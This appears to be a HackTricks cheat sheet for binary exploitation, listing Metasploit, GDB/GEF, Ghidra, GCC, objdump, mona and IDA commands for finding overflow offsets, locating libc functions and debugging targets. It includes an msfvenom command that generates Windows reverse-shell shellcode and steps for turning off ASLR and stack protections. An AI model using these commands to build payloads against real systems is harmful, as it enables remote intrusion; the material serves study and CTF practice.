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# Metasploit ``` pattern_create.rb -l 3000 #Length pattern_offset.rb -l 3000 -q 5f97d534 #Search offset nasm_shell.rb nasm> jmp esp #Get opcodes msfelfscan -j esi /opt/fusion/bin/level01 ``` ## Shellcodes ``` msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c ``` # GDB ## Install ``` apt-get install gdb ``` ## Parameters **-q** --> No show banner\ **-x \** --> Auto-execute GDB instructions from here\ **-p \** --> Attach to process ### Instructions \> **disassemble main** --> Disassemble the function\ \> **disassemble 0x12345678**\ \> **set disassembly-flavor intel**\ \> **set follow-fork-mode child/parent** --> Follow created process\ \> **p system** --> Find the address of the system function\ \> **help**\ \> **quit** \> **br func** --> Add breakpoint to function\ \> **br \*func+23**\ \> **br \*0x12345678**\ **> del NUM** --> Delete that number of br\ \> **watch EXPRESSION** --> Break if the value changes **> run** --> Execute\ **> start** --> Start and break in main\ \> **n/next** --> Execute next instruction (no inside)\ \> **s/step** --> Execute next instruction\ \> **c/continue** --> Continue until next breakpoint \> **set $eip = 0x12345678** --> Change value of $eip\ \> **info functions** --> Info abount functions\ \> **info functions func** --> Info of the funtion\ \> **info registers** --> Value of the registers\ \> **bt** --> Stack\ \> **bt full** --> Detailed stack \> **print variable**\ \> **print 0x87654321 - 0x12345678** --> Caculate\ \> **examine o/x/u/t/i/s dir\_mem/reg/puntero** --> Shows content in octal/hexa/10/bin/instruction/ascii * **x/o 0xDir\_hex** * **x/2x $eip** --> 2Words from EIP * **x/2x $eip -4** --> $eip - 4 * **x/8xb $eip** --> 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes) * **i r eip** --> Value of $eip * **x/w pointer** --> Value of the pointer * **x/s pointer** --> String pointed by the pointer * **x/xw \&pointer** --> Address where the pointer is located * **x/i $eip** —> Instructions of the EIP ## [GEF](https://github.com/hugsy/gef) ```bash checksec #Check protections p system #Find system function address search-pattern "/bin/sh" #Search in the process memory vmmap #Get memory mappings #Shellcode shellcode search x86 #Search shellcodes shellcode get 61 #Download shellcode number 61 #Patterns pattern create 200 #Generate length 200 pattern pattern search "avaaawaa" #Search for the offset of that substring pattern search $rsp #Search the offset given the content of $rsp #Another way to get the offset of to the RIP 1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it 2- ef➤ i f Stack level 0, frame at 0x7fffffffddd0: rip = 0x400cd3; saved rip = 0x6261617762616176 called by frame at 0x7fffffffddd8 Arglist at 0x7fffffffdcf8, args: Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 Saved registers: rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 gef➤ pattern search 0x6261617762616176 [+] Searching for '0x6261617762616176' [+] Found at offset 184 (little-endian search) likely ``` ## Tricks ### GDB same addresses While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing: * `unset env LINES` * `unset env COLUMNS` * `set env _=` _Put the absolute path to the binary_ * Exploit the binary using the same absolute route * `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary ### Backtrace to find functions called When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\ You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called: ``` gef➤ bt #0 0x00000000004498ae in ?? () #1 0x0000000000400b90 in ?? () #2 0x0000000000400c1d in ?? () #3 0x00000000004011a9 in ?? () #4 0x0000000000400a5a in ?? () ``` ## GDB server `gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine) # Ghidra ## Find stack offset **Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\ For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\ _Remember that the first 0x08 from where the RIP is saved belongs to the RBP._ .png>) # GCC **gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\ **-o** --> Output\ **-g** --> Save code (GDB will be able to see it)\ **echo 0 > /proc/sys/kernel/randomize\_va\_space** --> To deactivate the ASLR in linux **To compile a shellcode:**\ **nasm -f elf assembly.asm** --> return a ".o"\ **ld assembly.o -o shellcodeout** --> Executable # Objdump **-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\ **-Mintel** --> **Intel** syntax\ **-t** --> **Symbols** table\ **-D** --> **Disassemble all** (address of static variable)\ **-s -j .dtors** --> dtors section\ **-s -j .got** --> got section\ \-D -s -j .plt --> **plt** section **decompiled**\ **-TR** --> **Relocations**\ **ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\ **objdump -D ./exec | grep "VAR\_NAME"** --> Address or a static variable (those are stored in DATA section). # Core dumps 1. Run `ulimit -c unlimited` before starting my program 2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` 3. sudo gdb --core=\ --quiet # More **ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\ **for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Loop to see if the address changes a lot\ **readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\ **strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh" **strace executable** --> Functions called by the executable\ **rabin2 -i ejecutable -->** Address of all the functions # **Inmunity debugger** ```bash !mona modules #Get protections, look for all false except last one (Dll of SO) !mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP) ``` # IDA ## Debugging in remote linux Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary _linux\_server_ or _linux\_server64_ inside the linux server and run it nside the folder that contains the binary: ``` ./linux_server64 -Ppass ``` Then, configure the debugger: Debugger (linux remote) --> Proccess options...: .png>)

Support HackTricks and get benefits!

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